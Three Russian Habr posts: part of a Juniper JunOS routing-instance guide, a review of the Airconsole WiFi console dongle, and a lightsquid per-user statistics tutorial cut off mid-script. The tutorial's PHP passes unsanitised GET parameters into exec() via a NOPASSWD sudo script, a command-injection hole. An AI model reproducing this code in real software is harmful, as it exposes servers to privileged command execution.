Все просто — ни каких RT, RD. Эта routing instance не поддерживает указание интерфейса и конфигурирование протокола маршрутизации\*. Дело в том, что для работы FBR этого и не надо. Мы делаем статический маршрут с нужным нам next-hop, а на интерфейс, с которого пакеты будут прилетать на маршрутизатор, мы вешаем filter, который в случае совпадения, к примеру, исходящего адреса, будет отправлять трафик через сконфигурированную routing instance по статическому маршруту, в противном случае пакет «полетит» согласно основной таблицы маршрутизации.
Есть одно но, что бы routing instance могла отправить пакет на нужный next-hop, нам надо что бы у нее был маршрут к этому next-hop. Для этого нам надо перенести маршруты из таблицы маршрутизации inet.0 в таблицу маршрутизации сконфигурированной routing instance (которая будет иметь название instance\_name.inet.0), причем не все маршруты а только необходимые (не забываем и про directly connected). Делается это с помощью rib groups, описание можно почитать тут [тут](http://habrahabr.ru/post/111687/).
Данная routing instance создает свою таблицу маршрутизации, манипулируя содержанием которой, мы можем направить трафик по маршруту, отличному от основного.
*\* JunOS позволит вам сконфигурировать например ospf или isis в данном типе routing instance (BGP — не поддерживается), но так как у вас нет интерфейсов, закрепленных за routing instance, использование протокола маршрутизации будет бессмысленно, а добавить маршруты из основной таблицы можно через rib-groups без использования отдельного протокола маршрутизации.*
**Virtual router.**
Функционал routing instance virtual router сходен с vrf-lite из мира Cisco. Данная routing instance позволяет запускать любые протоколы маршрутизации от rip до bgp, создавать GRE и ipsec тоннели, реализовывать функционал nat и dhcp, а так же поддерживает протокол LDP (однако RSVP не поддерживается). Основной задачей данной routing instance является изоляция интерфейса (интерфейсов) клиента и его таблицы маршрутизации. Ближайшим родственником virtual-router можно назвать routing instance no-forwarding (будет описан ниже), их функционал несколько схож. Но, рассматриваемый нами тип routing instance устанавливает маршруты в отдельную таблицу маршрутизации, которая имеет наименование instance\_name.inet.0 (instance\_name.inet6.0):
```
r6.inet.0: 4 destinations, 4 routes (4 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both
60.0.0.0/30 *[Direct/0] 00:11:18
> via ge-0/0/2.0
60.0.0.1/32 *[Local/0] 00:11:18
Local via ge-0/0/2.0
60.1.1.1/32 *[OSPF/10] 00:11:04, metric 2
> to 60.0.0.2 via ge-0/0/2.0
224.0.0.5/32 *[OSPF/10] 00:11:19, metric 1
MultiRecv
```
Клиенту отдаются только маршруты, которые есть в данной routing-instance. С помощью rib groups можно произвести перераспределение маршрутов из основной таблицы маршрутизации в таблицу маршрутизации клиента или перераспределить маршруты между virtual routers, которые «живут» на маршрутизаторе.
Данный тип routing instance используется довольно таки часто. Если его сравнивать с VRF, то данная routing instance избавлена от необходимости конфигурирования RT и RD. Пример конфигурации данной routing-instance представлен ниже:
```
r6 {
instance-type virtual-router;
interface ge-0/0/2.0;
}
protocols {
ospf {
export export-200;
area 0.0.0.0 {
interface all;
}
}
}
```
Следующий тип routing instance – **No-forwarding.**
Данный тип routing instance, в отличии от трех предыдущих, хоть и создает свою таблицу маршрутизации, но все маршруты инсталирует в основную default forwarding table.
Отличие fib от rib состоит в том, что в rib попадают все маршруты например протокола ospf (например к одному и тому же префиксу есть два маршрута — оба и будут отображены в rib), но только лучший из этих маршрутов попадет в fib и будет использоваться для передачи трафика (исключения, например ECMP). Так же rib предназначена для хранения и обмена маршрутной информацией между пирами в сети и для пересылки трафика она не удобна. Fib же как раз и предназначена для быстрого поиска необходимых для пересылки трафика данных и дает возможность реализовать аппаратную обработку трафика.
Данную routing instance применяют когда необходимо произвести сегментацию сети на третьем уровне (подобно VLAN). Конфигурация представлена ниже:
```
[edit routing-instances]
root# show
noforward {
instance-type no-forwarding;
interface ge-0/0/3.0;
routing-options {
auto-export;
}
protocols {
ospf {
export export-100;
area 0.0.0.0 {
interface ge-0/0/3.0;
}
}
}
}
```
Примечание: auto-export обязательно должно быть сконфигурировано в основной routing instance и routing instance no-forwarding, иначе ожидаемого результата вы не получите.
Разберем как работает данная routing instance. Мы имеем несколько сконфигурированных routing instance:
```
root> show route instance summary
Instance Type
Primary RIB Active/holddown/hidden
master forwarding
inet.0 19/0/0
__juniper_private1__ forwarding
__juniper_private1__.inet.0 7/0/0
__juniper_private2__ forwarding
__juniper_private2__.inet.0 0/0/1
__master.anon__ forwarding
forward forwarding
forward.inet.0 7/0/0
no-frw non-forwarding
no-frw.inet.0 16/0/0
virtual-router virtual-router
virtual-router.inet.0 14/0/0
```
Из вывода следует, что у нас три сконфигурированных и одна default routing instance ( private routing instance мы не рассматриваем):
1.virtual-router с типом virtual-router (соответствует таблица маршрутизации virtual-router.inet.0)
2.forward с типом forwarding (соответствует таблица маршрутизации forward.inet.0)
3.default (соответствует таблица маршрутизации inet.0)
4.no-frw с типом non-forwarding (соответствует таблица маршрутизации no-frw.inet.0)
Пока все как обычно — у каждой routing instance есть своя таблица маршрутизации.
Теперь посмотрим как обстоят дела с forwarding-table на маршрутизаторе:
```
root> show route forwarding-table | match table
Routing table: default.inet
Routing table: __master.anon__.inet
Routing table: forward.inet
Routing table: virtual-router.inet
Routing table: default.iso
Routing table: __master.anon__.iso
Routing table: forward.iso
Routing table: virtual-router.iso
Routing table: default.inet6
Routing table: __master.anon__.inet6
Routing table: forward.inet6
Routing table: virtual-router.inet6
Routing table: default.mpls
Routing table: :mpls-oam.mpls
Routing table: default.ethernet-switching
Routing table: default.vmembers
Routing table: default.device-route
Routing table: default.MSTI
Routing table: default.dhcp-snooping
```
Созданы только forwarding-table для:
1.virtual-router.inet.0
2.forward.inet.0
3.default.inet.0
forwarding-table для no-frw.inet.0 не существует, потому то routing instance no-forwarding инсталирует свои маршруты в forwarding-table default (точнее сказать, помимо своей таблицы маршрутизации, routing instance no-forwarding экспортирует свои маршруты в defaul inet.0, откуда они и попадают в defaul fib).
Тогда возникает вопрос – а зачем нам эта routing instance? В отличии от Cisco, на оборудовании Juniper нельзя запустить две копии одного и того же протокола маршрутизации в одной и той же instance. То есть, если в Cisco мы можем запустить процесс ospf 1 и процесс ospf 2 одновременно, то в JunOS на уровне иерархии [edit protocols], нет возможности запустить две копии одного и того же процесса, например OSPF (не путайте с area, их как раз таки может быть несколько). Данная routing instance предназначена как раз для запуска нескольких копий одного протокола маршрутизации.
Функционал данной routing instance поддерживает все протоколы маршрутизации, за исключение BGP. Не поддерживаются и протоколы распределения меток ldp или rsvp.
Для полноты картины рассмотрим такую схему (взял с сайта Juniper):
Итак, предположим, что мы хотим, что бы CE2 мог общаться только с CE3, и, соответственно, CE1 мог общаться только с CE4. Тут то мы и воспользуемся routing instance no-forwarding.
Мы создаем на PE0 и PE2 две routing instance (1 и 2) с типом no-forwarding, указываем в них необходимый интерфейс и запускаем ospf.
Создаем политики, согласно которых, процесс ospf routing instance 1, получая маршруты от CE1, добавляет к этим маршрутам тег 100 и экспортирует в default rib inet.0, а процесс ospf routing instance 2 добавляет к полученным от CE2 маршрутам тег 200 и экспортирует в default rib inet.0.
То есть мы получили в inet.0 все маршруты от CE1 и CE2, причем мы четко можем разделить, какие маршруты пришли от CE1, а какие от CE2.
Далее, эти маршруты передаются на PE2 вместе с тегами. С помощью политики, на PE2 в routing instance 1 мы указываем, что надо экспортировать на CE3 только маршруты с тегом 200, и, соответственно, на CE4 только маршруты с тегом 100. В итоге мы получили практически VLAN на третьем уровне.
Как мы и хотели, обмен трафиком возможен между CE1 и CE4, и соответственно между CE2 и CE3; Почему между CE1 и CE3 обмен трафиком невозможен? По простой причине – у CE1 нет маршрута до CE2 или CE3. Аналогичная картина будет и на остальных маршрутизаторах данной топологии.
На первый взгляд рассмотренная routing instance очень похожа на virtual-router. Но надеюсь что теперь вы понимаете, что она предназначена для иных целей и имеет меньший функционал.
**VPLS.**
Принцип работы технологии VPLS не входит в текст данной статьи, но будет частично затронут в ходе пояснений (иначе ничего не объяснить).
Нам нужно реализовать Virtual Private LAN Service, мы создаем данную routing instance. По сути повторяет функционально VRF (особенно при использовании BGP сигнализации), но предназначена для реализации L2 сервисов. Данный тип routing instance позволяет автоматически создавать полносвязную топологию из виртуальных l2 соединений между сайтам клиента. Эта routing instance, в связи с отсутствием необходимости запуска протоколов маршрутизации и распределения меток, их конфигурирование не поддерживает. Так как данная routing instance работает с l2 а не IP адресами, то forwarding table хранит mac адреса:
```
Routing table: vpls_bgp_signalig.vpls
VPLS:
Destination Type RtRef Next hop Type Index NhRef Netif
default perm 0 rjct 587 1
ge-0/0/3.0 user 0 comp 580 2
lsi.1048577 user 0 comp 581 2
ca:04:76:68:00:1c/48 dynm 0 ucst 577 3 ge-0/0/3.0
ca:05:79:f4:00:1c/48 dynm 0 indr 262142 5
10.0.0.2 Push 262146, Push 17(top) 572 2 ge-0/0/0.0
ca:08:5f:e4:00:1c/48 dynm 0 indr 262142 5
10.0.0.2 Push 262146, Push 17(top) 572 2 ge-0/0/0.0
```
Ниже представлена таблица маршрутизации одного из клиентов (BGP signaling):
```
customer1.site1.l2vpn.0: 3 destinations, 3 routes (3 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both
10.0.1.1:100:1:1/96
*[L2VPN/170/-101] 04:00:26, metric2 1
Indirect
10.0.1.2:100:2:1/96
*[BGP/170] 00:04:23, localpref 100, from 1.1.1.254
AS path: I
> to 20.0.0.2 via ge-0/0/1.0
10.0.1.3:100:3:1/96
*[BGP/170] 00:04:54, localpref 100, from 1.1.1.254
AS path: I
> to 20.0.2.2 via ge-0/0/0.0, Push 299808
to 20.0.1.2 via ge-0/0/2.0, Push 299808
```
10.0.1.1:100:1:1/96 — этот префикс обозначает сайт клиента и состоит из:
1. 10.0.1.1:100 — RD
2. 1 — site-id
3. 1 — label block offcet (сдвиг блока меток, если кому интересно, могу написать отдельную статью об операциях с метками при организации VPLS)
Помимо представленной выше таблицы маршрутизации, в JunOS будет еще одна таблица маршрутизации bgp.l2vpn.0, в которой будут отображены все l2vpn маршруты данного PE маршрутизатора (при использовании bgp как сигнализацию):
```
bgp.l2vpn.0: 4 destinations, 4 routes (4 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both
30.0.1.1:100:102:97/96
*[BGP/170] 00:04:55, localpref 100, from 1.1.1.254
AS path: I
> to 20.0.2.2 via ge-0/0/0.0, Push 299808
to 20.0.1.2 via ge-0/0/2.0, Push 299808
10.0.1.2:100:2:1/96
*[BGP/170] 00:04:23, localpref 100, from 1.1.1.254
AS path: I
> to 20.0.0.2 via ge-0/0/1.0
```
Конфигурация данной routing instance зависит от того, какая сигнализация используется для организации VPLS – BGP (драфт Компелла) или LDP (Мартини). В зависимости от вашего выбора конфигурация будет меняться.
Если мы реализуем VPLS согласно драфту Компелла (BGP signaling), то конфигурация будет выглядеть вот так:
```
routing-instances {
customer1.site1 {
instance-type vpls;
interface ge-0/0/3.0;
route-distinguisher 10.0.1.1:100;
vrf-target target:10.0.1.0:100;
protocols {
vpls {
no-tunnel-services;
site site1 {
site-range 10;
site-identifier 1;
interface ge-0/0/3.0;
}
}
}
}
```
Так как драфт Компелла включает autodiscovery PE маршрутизаторов, то в конфигурации необходимо помимо интерфейса, указать RT и RD. Как я показал раннее, RD используется для поиска и идентификации PE маршрутизаторов, к которым подключены сайты клиента. На уровне иерархии [edit routing-instance protocols vpls] необходимо указать название сайта, его site-identifier (это JunOS может задавать автоматически, если это указать в конфигурации) и максимальное количество сайтов (site-range) клиента, причем site-identifier должен быть меньше, чем site-range.
Если мы используем LDP-сигнализацию (Мартини), то конфигурация будет немного проще:
```
ce3-vpls-ldp {
instance-type vpls;
interface ge-0/0/3.0;
protocols {
vpls {
no-tunnel-services;
vpls-id 101;
neighbor 1.1.1.1;
neighbor 2.2.2.2;
}
}
}
```
Данная технология VPLS не поддерживает autodiscovery без дополнительного «костыля»\*, поэтому в базовой конфигурации указывается только интерфейс, к которому подключен клиент, нет ни RT, ни RD. На уровне иерархии [edit routing-instance protocols vpls] необходимо указать лупбеки всех PE маршрутизаторов, к которым подключены сайты клиента, а так же VPLS-ID, который должен совпадать для все VPLS routing instance данного клиента.
\* для использования autodiscovery в данном случае необходимо использовать BGP, используя address family bgp l2vpn auto-discovery-only. При этом явно указывать соседей на PE маршрутизаторах не надо, но тогда необходимо сконфигурировать RT, RD а так же l2vpn-id:
```
vpls100 {
instance-type vpls;
interface ge-1/1/0.100;
l2vpn-id l2vpn-id:100:200;
vrf-target target:100:208;
protocols {
vpls {
no-tunnel-services;
}
}
}
```
Проверить состояние соединений, которые данная routing instance установила можно командой show vpls connections:
```
[edit]
root# run show vpls connections
Layer-2 VPN connections:
Legend for connection status (St)
EI -- encapsulation invalid NC -- interface encapsulation not CCC/TCC/VPLS
EM -- encapsulation mismatch WE -- interface and instance encaps not same
VC-Dn -- Virtual circuit down NP -- interface hardware not present
CM -- control-word mismatch -> -- only outbound connection is up
CN -- circuit not provisioned <- -- only inbound connection is up
OR -- out of range Up -- operational
OL -- no outgoing label Dn -- down
LD -- local site signaled down CF -- call admission control failure
RD -- remote site signaled down SC -- local and remote site ID collision
LN -- local site not designated LM -- local site ID not minimum designated
RN -- remote site not designated RM -- remote site ID not minimum designated
XX -- unknown connection status IL -- no incoming label
MM -- MTU mismatch MI -- Mesh-Group ID not available
BK -- Backup connection ST -- Standby connection
PF -- Profile parse failure PB -- Profile busy
RS -- remote site standby SN -- Static Neighbor
VM -- VLAN ID mismatch
Legend for interface status
Up -- operational
Dn -- down
Instance: customer1.site1
Local site: site1 (1)
connection-site Type St Time last up # Up trans
2 rmt Up Nov 2 00:25:33 2015 1
Remote PE: 1.1.1.2, Negotiated control-word: No
Incoming label: 262154, Outgoing label: 262153
Local interface: lsi.1049099, Status: Up, Encapsulation: VPLS
Description: Intf - vpls customer1.site1 local site 1 remote site 2
3 rmt Up Nov 2 00:25:01 2015 1
Remote PE: 1.1.1.3, Negotiated control-word: No
Incoming label: 262155, Outgoing label: 262153
Local interface: lsi.1049098, Status: Up, Encapsulation: VPLS
Description: Intf - vpls customer1.site1 local site 1 remote site 3
```
С точки зрения клиента данная технология будет иметь вид коммутатора, к которому подключены сайты клиента.
**Layer 2 VPN**
В Junos есть (во всяком случае я знаю) три способа создать l2vpn (в отличии от VPLS, l2vpn имеет топологию p2p). Данная routing-instance близка по конфигурации и сигнализации к VPLS BGP signaling. Конфигурация предусматривает указание rd и rt для поиска PE-маршрутизаторов и последующего установления p2p соединения:
```
root# show
instance-type l2vpn;
interface ge-0/0/3.0;
route-distinguisher 100:100;
vrf-target target:1:1;
protocols {
l2vpn {
encapsulation-type ethernet-vlan;
no-control-word;
site site2 {
site-identifier 2;
interface ge-0/0/3.0 {
remote-site-id 1;
}
}
}
}
```
Как и ее старший брат routing-instance vpls, данная routing-instance, в силу своего назначения, не подразумевает настройки протоколов маршрутизации.
Плюсом данной routing-instance является простота настройки и, в отличии от других типов l2vpn, обладает лучшей масштабируемостью (при необходимости легко добавляются другие сайты). В отличии от VPLS, routing-instance l2vpn не поддерживает кроссплатформенное взаимодействие (например между Juniper и Cisco).
Данная routing-instance не дает возможности создать VPLS, хотя дает возможность сконфигурировать более одного виртуального L2 соединения (но это не будет полноценным VPLS).
Таблица маршрутизации выглядит практически так же как и VPLS:
```
root@PE1> show route table vpn.l2vpn.0
vpn1.l2vpn.0: 2 destinations, 2 routes (2 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both
100:100:1:1/96
*[BGP/170] 00:14:00, localpref 100, from 10.1.1.1
AS path: I
> to 10.0.0.2 via ge-0/0/3.0, label-switched-path pe1_to_pe2
200:200:1:2/96
*[L2VPN/170/-101] 00:17:35, metric2 1
Indirect
```
Проверить состояния соединений можно с помощью команды show l2vpn connections, причем вывод будет подобен выводу show vpls connections (routing-instance VPLS).
**Layer2-control**
Данная routing-instance предназначена для запуска протокола семейства STP при использовании VPLS Multihoming. Ее применение очень хорошо описано в этой [статье](http://habrahabr.ru/post/259645/), поэтому не буду повторяться.
**Virtual switch**
Помимо маршрутизации, маршрутизаторы серии MX могут выполнять и функции, присущие исключительно коммутатору. Изначально, при конфигурировании VLAN и trunk портов на маршрутизаторе MX-серии, все VLAN и trunk интерфейсы попадают в одни bridge domian, который называется default-switch routing-instance. Маршрутизаторы MX серии предоставляют возможность сконфигурировать пользовательские routing-instance virtual-switch:
```
[edit]
routing-instances {
routing-instance-name (
instance-type virtual-switch;
bridge-domains {
bridge-domain-name {
domain-type bridge;
interface interface-name;
vlan-id (all | none | number);
vlan-id-list [ vlan-id-numbers ];
vlan-tags outer number inner number;
}
}
protocols {
mstp {
...mstp-configuration ...
}
}
}
}
```
Данная routing-instance позволяет реализовать на маршрутизаторе функционал коммутатора и производит изолирование интерфейсов и одного или более VLAN. То есть virtual switch позволяет производить сегментацию сетей на втором уровне, не прибегая к сегментированию сети на третьем уровне (что сохранит нам IP адреса). Для каждого сегмента можно запустить свой протокол из семейства STP. Маршрутизаторы серии MX поддерживают протоколы: STP, RSTP, MSTP, VSTP.
Спасибо за внимание! | https://habr.com/ru/post/275119/ | null | ru | null |
# Airconsole. Подключение к Console port Cisco по WiFi
Достаточно давно я пользуюсь iOS приложением для администрирования сетевого оборудования [Get-console](http://itunes.apple.com/us/app/get-console/id412067943?mt=8&ls=1) производства новозеландской CloudStore. Данное приложение, субъективно, лучшее для такого рода деятельности, имея в распоряжении iPad или iPhone (последнее спорно из-за размера экрана). Прикупил себе и [кабель](http://www.get-console.com/shop/en/cables/10-cisco-console-companion-cable-for-iphone-ipad-and-ipod-touch-rj45.html) для подключения планшета к консольному порту.
Так продолжалось какое-то время, пока не пришла пора обновить Пад. Выбор пал на iPad 4, и, о горе, встал острый вопрос — а что же делать с Lightning портом, ведь консольный кабель имеет только 30-пиновый разъем. Выход на время был найден — переходник с 30-pin на Lightning.
Так я пользовался до июля сего года.
Компания разработчик и производитель кабелей разродились версией [Lightning](http://www.get-console.com/shop/en/cables-l2-rj45v/55-cisco-console-companion-cable-for-iphone-ipad-and-ipod-touch-rj45.html) своего консольного провода, также представило устройство под названием — [Airconsole](http://www.get-console.com/airconsole/).
Airconsole — это WiFi-донгл для подключения по WiFi к консольному порту сетевого оборудования (Cisco, Juniper, HP и т.д.).
Так выглядит упакованный Airconsole:
Комплектация, здесь набор ProPack (Два переходника: на DB-9 и Nullmodem, usb-console cable, mini-usb charge cable, Лицензия на два iOS устройства для работы с [Private Server](http://www.get-console.com/private-server/))
Тыльная сторона донгла:
Боковые стороны:
1. Здесь расположена кнопка включения и зарядки других устройств (например iPhone), кнопка индикатора батареи
2. На этой стороне расположен разъем mini-usb для зарядки донгла 
И так мы достали Донгл и включили. Дальше он загрузится (примерно 10-15 секунд) и развернет WiFi сеть с IP 192.168.10.1, название сети и пароль написаны на тыльной стороне донгла. Теперь можно зайти на web-интерфейс и настроить устройство:
Страница **Статус**
Настройка консольного порта
Настройка ethernet и dhcp
Wireless
Route
И секция Admin
Настройка тривиальна и не требует усилий. **Теперь обо всем по порядку:**
1. Да. Я не ошибся. Донгл действительно умеет работать внешним аккумулятором. Для включения этой функции кнопка включения ставится в среднее положение (С). Внутри него Li-ion батарея на 1800 mAh, которая позволяет работать с устройством в активном режиме около 5 часов, в режиме ожидания прослужит 14 дней. Для определения разряда батареи есть кнопка, нажав которую загорается индикатор, у которого три деления, Полный заряд — все три деления горят, половина заряда — два деления (час-два работы), Одно деление — 30 минут работы (примерно).
2. Донг умеет пробрасывать проводную сеть в сеть WiFi. Делает это хорошо и решается проблема с 3G покрытием для работы iOS устройств. Во всяком случае в помещении где нет сигнала сети, будет интернет.
Про [Get-Console for iOS](http://habrahabr.ru/post/132236/) подробно рассказывал [insekt](https://habrahabr.ru/users/insekt/), правда версия с тех пор сильно обновилась. Я же расскажу как работает Донгл с родным приложением для iOS и с консолью на Mac — Terminal.app (Другого под рукой нет):
###### Get-Console iPad
Первое, что нужно сделать, это подключиться к WiFi сети, которую раздает Airconsole. Далее купить приложение [get-console](http://itunes.apple.com/us/app/get-console/id412067943?mt=8&ls=1) за 9,99$ (поверьте, оно того стоит) и открыть его
После заходим в диспетчер подключений и создаем «Быстрое подключение» (без сохранения)
Выбираем тип подлючения Serial и запускаем
На скрине показан статус подключения и возможность расшарить консоль для удаленного сотрудника средствами [Private Server](http://www.get-console.com/private-server/), лицензия на который идет в ProPack комплектации. Подробно останавливаться не буду, т.к. для этого требуется отдельный хабра-топик. Скажу лишь, что наличие такого сервера избавляет сетевых администраторов и noc-инженеров от выезда на удаленные объекты. Можно обойтись обычными инженерами.
###### Terminal.app for Mac
Тут уже не все так гладко, т.к. придется ставить kernel драйвер и небольшую утилиту — [AIRConsoleOSX](http://www.get-console.com/airconsole/files/AirconsoleDrivers-1.2.1.pkg)
Скачав и установив драйвер и утилиту, запускаемся, попутно подключившись к WiFi сети донгла
Нажав кнопку **Connect**, начинается эмуляция последовательного порта
Далее запускаем Terminal и и вводим
`screen /dev/tty.Airconsole-1 9600` где — 9600 это скорость консольного подключения
На этом заканчиваю свой обзор. Добавлю, что донгл умеет обновляться, текущая версия прошивки — 1.02. В будущем планируется обновление с поддержкой терминальных серверов cisco, выпуск полноценного драйвера для Mac (Для Win уже есть). На сайте производителя также указано, что консольный usb кабель работает в Linux и Mac нативно. Одно жалко — длина всего 30 см.
P.S.: Компания CloudStore, которая владеет брендами Get-console, Airconsole, Private Server новозеландская. Основатель — [Simon Hope](https://twitter.com/getconsole), имеет сертификацию CCIE. Доставка донглов осуществляется силами компании FEDEX. Ко мне посылка пришла за 4 дня.
В следующем посте подробно расскажу о [Private Server](http://www.get-console.com/private-server/) — сервисе, позволяющем иметь доступ к консоли приложения [Get-console for iOS](http://itunes.apple.com/us/app/get-console/id412067943?mt=8&ls) через WEB-интерфейс Сервера, установленного у вас.
Всем удачи. | https://habr.com/ru/post/189090/ | null | ru | null |
# Работаем с lightsquid или как сделать индивидуальную статистику для пользователей
Итак, появилась у меня задача на работе: дать каждому пользователю возможность смотреть свои логи посещения интернета. Вроде кажется и задача такая — должна уже со всех сторон на любом форуме обсудится и как минимум должно быть готовое решение, как максимум пошаговая инструкция. Но ни того ни другого я не смог найти. Поэтому пришлось изобретать собственный велосипед. Ниже приведена почти пошаговая инструкция решения данной проблемы с использованием lightsquid и скриптов. Осторожно много скриптов.
#### Что нужно
* Установленная Ubuntu server (лично в моей реализации это версия 13.04)
* Установленный Apache2
* Установленный настроенный и уже собирающий статистику squid (в моем случае это 2.7)
#### Предварительно оговорим условия:
* Идентификация пользователя производится по его IP адресу
* Каждый пользователь может смотреть только свою статистику
* Статистика выводится через WEB интерфейс
#### Начинаем
##### Нужен сам lighsquid
Первым делом скачае LightSquid
> `wget http://downloads.sourceforge.net/project/lightsquid/lightsquid/1.8/lightsquid-1.8.tgz`
Разархивируем. Я предпочел разархивировать в корень /var, на самом деле можете и в /www (если нужны графики и прочее)
> tar -zxf lightsquid-1.8.tgz /var/lightsquid
Выставляем рекурсивно права 755 пользователю и группе www-data на каталог и его содержимое
> chmod -R 755 /var/lightsquid
>
> chown -R www-data:www-data /var/lightsquid
>
>
Делаем скрипты программы исполняемыми:
> chmod +x \*.cgi
>
> chmod +x \*.pl
>
>
Если вам действительно нужны графики то нужно установить пакет libgd-gd2-perl
> sudo apt-get install libgd-gd2-perl
Теперь следует подправить сам конфиг LightSquid
> nano /var/lightsquid/lightsquid.cfg
Правим пути в секции GLOBAL VARIABLES
> #path to additional `cfg` files
>
> $cfgpath ="/var/lightsquid";
>
> #path to `tpl` folder
>
> $tplpath ="/var/lightsquid/tpl";
>
> #path to `lang` folder
>
> $langpath ="/var/lightsquid/lang";
>
> #path to `report` folder
>
> $reportpath ="/var/lightsquid/report";
>
> #path to access.log
>
> $logpath ="/var/log/squid";
>
> #path to `ip2name` folder
>
> $ip2namepath ="/var/lightsquid/ip2name";
>
>
В секции WEB VARIABLES выставляем нужный язык интерфейса. В данном случае русский.
> $lang =«ru»;
Ну все lightsquid должен быть готов к работе. Если у вас есть логи squid можете их про парсить что бы потом можно было увидеть их в отчете:
> /var/lightsquid# ./lightparser.pl access.log.59 && ./lightparser.pl access.log.58 && ./lightparser.pl access.log.57 && ./lightparser.pl access.log.56 && ./lightparser.pl access.log.55 && ./lightparser.pl access.log.54 && ./lightparser.pl access.log.53… и т.д.
#### Сам процесс
Т.к. LightSquid с помощь cgi скриптов формирует html тэгированные файлы, потом выдает их серверу, сервер пользователю, а пользователь в свою очередь видит ВСЮ статистику по ВСЕМ пользователям — это не есть хорошо. Поэтому есть задача, «перехватить» вывод, сделать свой html файли с преферансом и куртизанками и выдать обработанный файл пользователю.
##### Первый скрипт на PHP
Создаем файл:
> nano /var/www/index.php
Первый скрипт он у нас будет на РНР: это будет стартовая страничка которая будет показывать пользователю «обработанную» первую страницу ligsquid. Заносим данные:
```
php
$year = " {$_GET['year']}";
$month = " {$_GET['month']}";
$day = " {$_GET['day']}";
$ip_host = "{$_SERVER['REMOTE_ADDR']}";
$str = "sudo /var/lightsquid/my_scr/index.sh ".$ip_host.$year.$month.$day;
echo exec($str);
include "/var/lightsquid/my_tmp/".$ip_host."log_file.html"
?
```
Принцип таков. Мы через РНР получаем какие либо параметры, в данном случае год, месяц, день, на стартовой странице эти параметры пусты, но если перейти на другой месяц, или год, то сразу же они будут заполнены.
Далее мы сами узнаем IP хоста, который запросил данную страничку. Этот ip нам нужен чтобы формировать ТОЛЬКО по нему данные, и вообще как — то ориентироваться среди создаваемых нами файлов, потому что мы будем привязывать имя файла к его IP адресу.
Далее мы формируем строку. Которая запускает следующий скрипт ( будет ниже описан) и передает в него параметры IP, год, месяц, день.
Вызываем этот скрипт на выполнение.
Показываем html страницу. Заметьте, что имя страницы формируется из IP адреса хоста и приставки «log\_file.html»
##### Второй скрипт на shell
Данный скрипт будет реализовывать запуск cgi скиптра lightsquid и записывать результат выполнения (cgi скрипта) в отдельный файл. А потом инициализирует запуск другого скрипта с передачей в него параметров (о котором ниже).
Создаем фаил
> nano /var/lightsquid/my\_scr/index.sh
Делаем его исполняемым
> chmod +x index.sh
>
>
Важное замечание, т.к. скрипт должен выполнятся из под правами пользователя www-data. То следует добавить в файл /etc/sudoers в блок # User privilege specification, такую вот строку:
> www-data ALL=(ALL) NOPASSWD: /var/lightsquid/my\_scr/index.sh
>
>
Далее записываем в файл сами данные
```
#!/bin/sh
$1 #ip адрес
$2 #год
$3 #месяц
$4 #день
str="log_file"
param="year="$2"&month="$3"&day="$4
LOG_FILE=/var/lightsquid/my_tmp/$1$str.html
{
export REQUEST_METHOD=GET
export QUERY_STRING=$param
/var/lightsquid/index.cgi
}> $LOG_FILE 2>&1
/var/lightsquid/my_scr/index.py $1
```
Разьясню:
Получаем параметры IP, год, день, месяц
В переменную записываем строку «log\_file»
Формируем запрос и записываем его в переменную
Запускаем cgi скрипт в который передаем параметры, результат работы скрипта сохраняем в файл с именем IP хоста + «log\_file.html»
Вызываем другой скрипт, передаем в него параметры.
##### Третий скрипт на Python
Т.к. сформированная страница содержим много лишнего и неправильные ссылки (например она ссылается на cgi который мы не можем перехватить), и прочее, надо этот файл подкорректировать. заменить все ссылки на наши и удалить пару строк.
Создаем файл:
> nano /var/lightsquid/my\_scr/index.py
Делаем файл исполняемым.
> chmod +x index.sh
>
>
Записываем в него следующие данные:
```
#!/usr/bin/env python
#coding: utf-8
import sys #импортируем модуль sys он нам нужен чтобы читать передаваемые в скрипт параметры
ip_host = sys.argv[1] #считываем передаваемый IP адрес
#скрипт удаляет все строчки из файла сгенерированным lightsquid
seach_ip = ip_host
path_file = '/var/lightsquid/my_tmp/'+ ip_host + 'log_file.html' #путь до файла который редактируем
count_line = sum(1 for l in open(path_file, 'r')) #подсчитываем количество строк в файле
#len(open(path_file, 'r').readlines()) #второй способ посчитать количество строк в файле маленьком
file = open(path_file, 'r') # открыаем файл
lines = file.readlines() # прочитываем строки в переменную
file.close() #закрыаем файл
i = 0
for i in range(count_line): #цикл от 0 до количества строк в файле
if "day_detail.cgi" in lines[i]: #если в строке найдено обращение к файлу cgi
lines[i] = lines[i].replace('day_detail.cgi','day_detail.php') #немножко корректируем строку , чтобы ссылка обращалась к нашему скрипту
if "group_detail.cgi" in lines[i]: #Ищем строку где вхождение этого словосочетания
lines[i] = " `|`" #и приводим эту всю стоку к такому виду чтобы пользователи не могли смотреть группы
if "index.cgi" in lines[i]:
lines[i] = lines[i].replace('index.cgi','index.php')
if "month_detail.cgi" in lines[i]:
lines[i] = lines[i].replace('month_detail.cgi','month_detail.php')
if "graph.cgi" in lines[i]:
lines[i] = " "
if "topsites.cgi" in lines[i]:
lines[i] = lines[i].replace('topsites.cgi','topsites.php')
file = open('/var/lightsquid/my_tmp/' + ip_host + 'log_file.html','w')
file.writelines(lines)
file.close
```
Вообще в Python очень важно отступы (четыре пробела) для тех кто не в курсе :)
Поясню немного скрипт.
Получаем IP адрес пользователя который запросил статистику (этот IP адрес передается сюда из предыдущего скрипта).
Далее открываем файл сформированный cgi скриптом lightsquid'а
Узнаем сколько в нем строк
Делаем цикл, в этом цикле проверяем каждую строку на соответствие нашим требованиям. А именно изменяет пути ссылок с cgi на php, так же мне не нужно было чтобы пользователи не видели группы, поэтому я делаю этот столбец вообще пустым ().
Ну и все, записываем обратно уже обработанный файл.
И так, я разобрал один путь как все должно делаться. Но для полного функционирования нужно 27 скриптов. Конечно же, можно было все это дело впихнуть в одни скрипт и вообще получилось бы только 3, но я не стал себе усложнять жизнь. Ниже я хотел бы привести оставшиеся скрипты, но с коротким их разбором и без лишних действий их создания (т.к. подобные действия были описаны выше).
#### Остальные скипты
##### Все, что относится к bigfiles
###### bigfiles.php
```
php
$year = " {$_GET['year']}";
$month = " {$_GET['month']}";
$day = " {$_GET['day']}";
$ip_host = "{$_SERVER['REMOTE_ADDR']}";
$str = "sudo /var/lightsquid/my_scr/my_bigfiles.sh ".$ip_host.$year.$month.$day;
